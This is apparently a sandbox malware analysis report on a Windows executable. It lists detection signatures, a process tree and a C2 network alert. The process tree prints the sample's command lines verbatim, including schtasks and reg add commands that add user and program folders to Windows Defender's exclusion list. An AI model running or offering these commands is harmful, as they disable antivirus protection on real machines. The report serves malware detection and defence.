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Windows
Analysis Report
2873466535874-68348745.02.exe
Overview
General Information
Detection
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
AI detected suspicious sample
Adds extensions / path to Windows Defender exclusion list (Registry)
Creates an undocumented autostart registry key
Drops PE files to the document folder of the user
Drops password protected ZIP file
Found direct / indirect Syscall (likely to bypass EDR)
Machine Learning detection for dropped file
Overwrites code with unconditional jumps - possibly settings hooks in foreign process
PE file contains section with special chars
Sample is not signed and drops a device driver
Sigma detected: Invoke-Obfuscation CLIP+ Launcher
Sigma detected: Invoke-Obfuscation VAR+ Launcher
Switches to a custom stack to bypass stack traces
Tries to delay execution (extensive OutputDebugStringW loop)
Tries to detect virtualization through RDTSC time measurements
Uses cmd line tools excessively to alter registry or file data
Uses schtasks.exe or at.exe to add and modify task schedules
Writes many files with high entropy
AV process strings found (often used to terminate AV products)
Abnormal high CPU Usage
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to delete services
Contains functionality to dynamically determine API calls
Contains functionality to enumerate running services
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates COM task schedule object (often to register a task for autostart)
Creates a process in suspended mode (likely to inject code)
Creates driver files
Creates files inside the driver directory
Creates files inside the system directory
Creates or modifies windows services
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
Entry point lies outside standard sections
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found evasive API chain (date check)
Found evasive API chain (may stop execution after checking a module file name)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Modifies existing windows services
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
PE file contains an invalid checksum
PE file contains sections with non-standard names
Potential key logger detected (key state polling based)
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Suspicious Windows Defender Folder Exclusion Added Via Reg.EXE
Sigma detected: Windows Defender Exclusions Added - Registry
Uses code obfuscation techniques (call, push, ret)
Uses reg.exe to modify the Windows registry
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w10x64
- 2873466535874-68348745.02.exe (PID: 5676 cmdline:
"C:\Users\ user\Deskt op\2873466 535874-683 48745.02.e xe" MD5: 988A0F183ED996DBFCBF7A7A9FEBD75B)
- 9afrYB.exe (PID: 5688 cmdline:
C:\Users\u ser\Docume nts\9afrYB .exe MD5: D3709B25AFD8AC9B63CBD4E1E1D962B9)
- 9afrYB.exe (PID: 1600 cmdline:
C:\Users\u ser\Docume nts\9afrYB .exe MD5: D3709B25AFD8AC9B63CBD4E1E1D962B9)
- 9afrYB.exe (PID: 6764 cmdline:
C:\Users\u ser\Docume nts\9afrYB .exe MD5: D3709B25AFD8AC9B63CBD4E1E1D962B9) - cmd.exe (PID: 4676 cmdline:
"C:\Window s\System32 \cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task 1" /SC ONC E /ST 00:0 0 /RL HIGH EST /RU "S YSTEM" /TR "cmd.exe /c reg add \"HKLM\SO FTWARE\Mic rosoft\Win dows Defen der\Exclus ions\Paths \" /v \"C: \ProgramDa ta\" /t RE G_DWORD /d 0 /f" & S CHTASKS /R un /TN "Ta sk1" & SCH TASKS /Del ete /TN "T ask1" /F MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 6152 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - schtasks.exe (PID: 3780 cmdline:
SCHTASKS / Create /F /TN "Task1 " /SC ONCE /ST 00:00 /RL HIGHE ST /RU "SY STEM" /TR "cmd.exe / c reg add \"HKLM\SOF TWARE\Micr osoft\Wind ows Defend er\Exclusi ons\Paths\ " /v \"C:\ ProgramDat a\" /t REG _DWORD /d 0 /f" MD5: 76CD6626DD8834BD4A42E6A565104DC2) - schtasks.exe (PID: 4696 cmdline:
SCHTASKS / Run /TN "T ask1" MD5: 76CD6626DD8834BD4A42E6A565104DC2) - schtasks.exe (PID: 1308 cmdline:
SCHTASKS / Delete /TN "Task1" / F MD5: 76CD6626DD8834BD4A42E6A565104DC2) - cmd.exe (PID: 1408 cmdline:
"C:\Window s\System32 \cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task 1" /SC ONC E /ST 00:0 0 /RL HIGH EST /RU "S YSTEM" /TR "cmd.exe /c reg add \"HKLM\SO FTWARE\Mic rosoft\Win dows Defen der\Exclus ions\Paths \" /v \"C: \Users\" / t REG_DWOR D /d 0 /f" & SCHTASK S /Run /TN "Task1" & SCHTASKS /Delete /T N "Task1" /F MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 5784 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - schtasks.exe (PID: 6104 cmdline:
SCHTASKS / Create /F /TN "Task1 " /SC ONCE /ST 00:00 /RL HIGHE ST /RU "SY STEM" /TR "cmd.exe / c reg add \"HKLM\SOF TWARE\Micr osoft\Wind ows Defend er\Exclusi ons\Paths\ " /v \"C:\ Users\" /t REG_DWORD /d 0 /f" MD5: 76CD6626DD8834BD4A42E6A565104DC2) - schtasks.exe (PID: 2292 cmdline:
SCHTASKS / Run /TN "T ask1" MD5: 76CD6626DD8834BD4A42E6A565104DC2) - schtasks.exe (PID: 1524 cmdline:
SCHTASKS / Delete /TN "Task1" / F MD5: 76CD6626DD8834BD4A42E6A565104DC2) - cmd.exe (PID: 1812 cmdline:
"C:\Window s\System32 \cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task 1" /SC ONC E /ST 00:0 0 /RL HIGH EST /RU "S YSTEM" /TR "cmd.exe /c reg add \"HKLM\SO FTWARE\Mic rosoft\Win dows Defen der\Exclus ions\Paths \" /v \"C: \Program F iles (x86) \" /t REG_ DWORD /d 0 /f" & SCH TASKS /Run /TN "Task 1" & SCHTA SKS /Delet e /TN "Tas k1" /F MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 5144 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - schtasks.exe (PID: 1972 cmdline:
SCHTASKS / Create /F /TN "Task1 " /SC ONCE /ST 00:00 /RL HIGHE ST /RU "SY STEM" /TR "cmd.exe / c reg add \"HKLM\SOF TWARE\Micr osoft\Wind ows Defend er\Exclusi ons\Paths\ " /v \"C:\ Program Fi les (x86)\ " /t REG_D WORD /d 0 /f" MD5: 76CD6626DD8834BD4A42E6A565104DC2) - schtasks.exe (PID: 4612 cmdline:
SCHTASKS / Run /TN "T ask1" MD5: 76CD6626DD8834BD4A42E6A565104DC2) - schtasks.exe (PID: 6188 cmdline:
SCHTASKS / Delete /TN "Task1" / F MD5: 76CD6626DD8834BD4A42E6A565104DC2) - cmd.exe (PID: 1712 cmdline:
"C:\Window s\System32 \cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task 1" /SC ONC E /ST 00:0 0 /RL HIGH EST /RU "S YSTEM" /TR "cmd.exe /c reg add \"HKLM\SO FTWARE\Mic rosoft\Win dows Defen der\Exclus ions\Paths \" /v \"%U SERPROFILE %\Document s\" /t REG _DWORD /d 0 /f" & SC HTASKS /Ru n /TN "Tas k1" & SCHT ASKS /Dele te /TN "Ta sk1" /F MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 356 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - schtasks.exe (PID: 1048 cmdline:
SCHTASKS / Create /F /TN "Task1 " /SC ONCE /ST 00:00 /RL HIGHE ST /RU "SY STEM" /TR "cmd.exe / c reg add \"HKLM\SOF TWARE\Micr osoft\Wind ows Defend er\Exclusi ons\Paths\ " /v \"C:\ Users\user \Documents \" /t REG_ DWORD /d 0 /f" MD5: 76CD6626DD8834BD4A42E6A565104DC2) - schtasks.exe (PID: 2616 cmdline:
SCHTASKS / Run /TN "T ask1" MD5: 76CD6626DD8834BD4A42E6A565104DC2) - schtasks.exe (PID: 4432 cmdline:
SCHTASKS / Delete /TN "Task1" / F MD5: 76CD6626DD8834BD4A42E6A565104DC2) - bmaosk.exe (PID: 1220 cmdline:
"C:\Progra m Files (x 86)\bmaosk \bmaosk.ex e" MD5: 7B6586E21FBC8F2F0BB784A1A8FC65B4) - cmd.exe (PID: 3568 cmdline:
cmd /c ech o.>c:\xxxx .ini MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 2124 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - 5phaM8.exe (PID: 6388 cmdline:
"C:\Progra m Files (x 86)\5phaM8 \5phaM8.ex e" MD5: 7B6586E21FBC8F2F0BB784A1A8FC65B4) - bmaosk.exe (PID: 1812 cmdline:
"C:\Progra m Files (x 86)\bmaosk \bmaosk.ex e" MD5: 7B6586E21FBC8F2F0BB784A1A8FC65B4)
- cmd.exe (PID: 5704 cmdline:
cmd.exe /c reg add " HKLM\SOFTW ARE\Micros oft\Window s Defender \Exclusion s\Paths" / v "C:\Prog ramData" / t REG_DWOR D /d 0 /f MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 5456 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - reg.exe (PID: 3276 cmdline:
reg add "H KLM\SOFTWA RE\Microso ft\Windows Defender\ Exclusions \Paths" /v "C:\Progr amData" /t REG_DWORD /d 0 /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)
- cmd.exe (PID: 1080 cmdline:
cmd.exe /c reg add " HKLM\SOFTW ARE\Micros oft\Window s Defender \Exclusion s\Paths" / v "C:\User s" /t REG_ DWORD /d 0 /f MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 5672 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - reg.exe (PID: 3944 cmdline:
reg add "H KLM\SOFTWA RE\Microso ft\Windows Defender\ Exclusions \Paths" /v "C:\Users " /t REG_D WORD /d 0 /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)
- cmd.exe (PID: 760 cmdline:
cmd.exe /c reg add " HKLM\SOFTW ARE\Micros oft\Window s Defender \Exclusion s\Paths" / v "C:\Prog ram Files (x86)" /t REG_DWORD /d 0 /f MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 4592 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - reg.exe (PID: 6056 cmdline:
reg add "H KLM\SOFTWA RE\Microso ft\Windows Defender\ Exclusions \Paths" /v "C:\Progr am Files ( x86)" /t R EG_DWORD / d 0 /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)
- cmd.exe (PID: 4524 cmdline:
cmd.exe /c reg add " HKLM\SOFTW ARE\Micros oft\Window s Defender \Exclusion s\Paths" / v "C:\User s\user\Doc uments" /t REG_DWORD /d 0 /f MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 4448 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - reg.exe (PID: 5040 cmdline:
reg add "H KLM\SOFTWA RE\Microso ft\Windows Defender\ Exclusions \Paths" /v "C:\Users \user\Docu ments" /t REG_DWORD /d 0 /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)
- bmaosk.exe (PID: 2800 cmdline:
"C:\Progra m Files (x 86)\bmaosk \bmaosk.ex e" MD5: 7B6586E21FBC8F2F0BB784A1A8FC65B4)
- 5r1Aib1.exe (PID: 2888 cmdline:
"C:\Progra m Files (x 86)\Z93E12 i3\5r1Aib1 .exe" MD5: 7B6586E21FBC8F2F0BB784A1A8FC65B4)
- 5r1Aib1.exe (PID: 4296 cmdline:
"C:\Progra m Files (x 86)\Z93E12 i3\5r1Aib1 .exe" MD5: 7B6586E21FBC8F2F0BB784A1A8FC65B4)
- bmaosk.exe (PID: 3840 cmdline:
"C:\Progra m Files (x 86)\bmaosk \bmaosk.ex e" MD5: 7B6586E21FBC8F2F0BB784A1A8FC65B4)
- 5r1Aib1.exe (PID: 6500 cmdline:
"C:\Progra m Files (x 86)\Z93E12 i3\5r1Aib1 .exe" MD5: 7B6586E21FBC8F2F0BB784A1A8FC65B4)
- bmaosk.exe (PID: 5448 cmdline:
"C:\Progra m Files (x 86)\bmaosk \bmaosk.ex e" MD5: 7B6586E21FBC8F2F0BB784A1A8FC65B4)
- 5r1Aib1.exe (PID: 3056 cmdline:
"C:\Progra m Files (x 86)\Z93E12 i3\5r1Aib1 .exe" MD5: 7B6586E21FBC8F2F0BB784A1A8FC65B4)
- bmaosk.exe (PID: 5364 cmdline:
"C:\Progra m Files (x 86)\bmaosk \bmaosk.ex e" MD5: 7B6586E21FBC8F2F0BB784A1A8FC65B4)
- kfbe6yYK.exe (PID: 5784 cmdline:
C:\Program Data\kfbe6 yYK.exe MD5: ADFAC62AE0815EEFB205D73D9FEAC532)
- 9eYJWFQF.exe (PID: 6424 cmdline:
C:\Program Data\EsnjL DMo\9eYJWF QF.exe MD5: 66D1818C27C67B8BA01FE919E8ADCA5A)
- 5r1Aib1.exe (PID: 5404 cmdline:
"C:\Progra m Files (x 86)\Z93E12 i3\5r1Aib1 .exe" MD5: 7B6586E21FBC8F2F0BB784A1A8FC65B4)
- cleanup
⊘No configs have been found
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
INDICATOR_SUSPICIOUS_DisableWinDefender | Detects executables containing artifcats associated with disabling Widnows Defender | ditekSHen |
| |
INDICATOR_SUSPICIOUS_DisableWinDefender | Detects executables containing artifcats associated with disabling Widnows Defender | ditekSHen |
|
System Summary |
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Source: | Author: Jonathan Cheong, oscd.community: |
Source: | Author: Jonathan Cheong, oscd.community: |
Source: | Author: frack113: |
Source: | Author: Christian Burkard (Nextron Systems): |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2025-01-10T02:27:47.526813+0100 | 2852901 | 1 | Malware Command and Control Activity Detected | 192.168.2.5 | 49991 | 8.217.59.222 | 8917 | TCP |
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Show All Signature Results
AV Detection |
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Source: | Avira: |
Source: | Avira: | ||
Source: | Avira: | ||
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Source: | Avira: |
Source: | Virustotal: | Perma Link |
Source: | Integrated Neural Analysis Model: |
Source: | Joe Sandbox ML: | ||
Source: | Joe Sandbox ML: | ||
Source: | Joe Sandbox ML: | ||
Source: | Joe Sandbox ML: |
Source: | HTTPS traffic detected: | ||
Source: | HTTPS traffic detected: | ||
Source: | HTTPS traffic detected: | ||
Source: | HTTPS traffic detected: |
Source: | Binary string: | ||
Source: | Binary string: |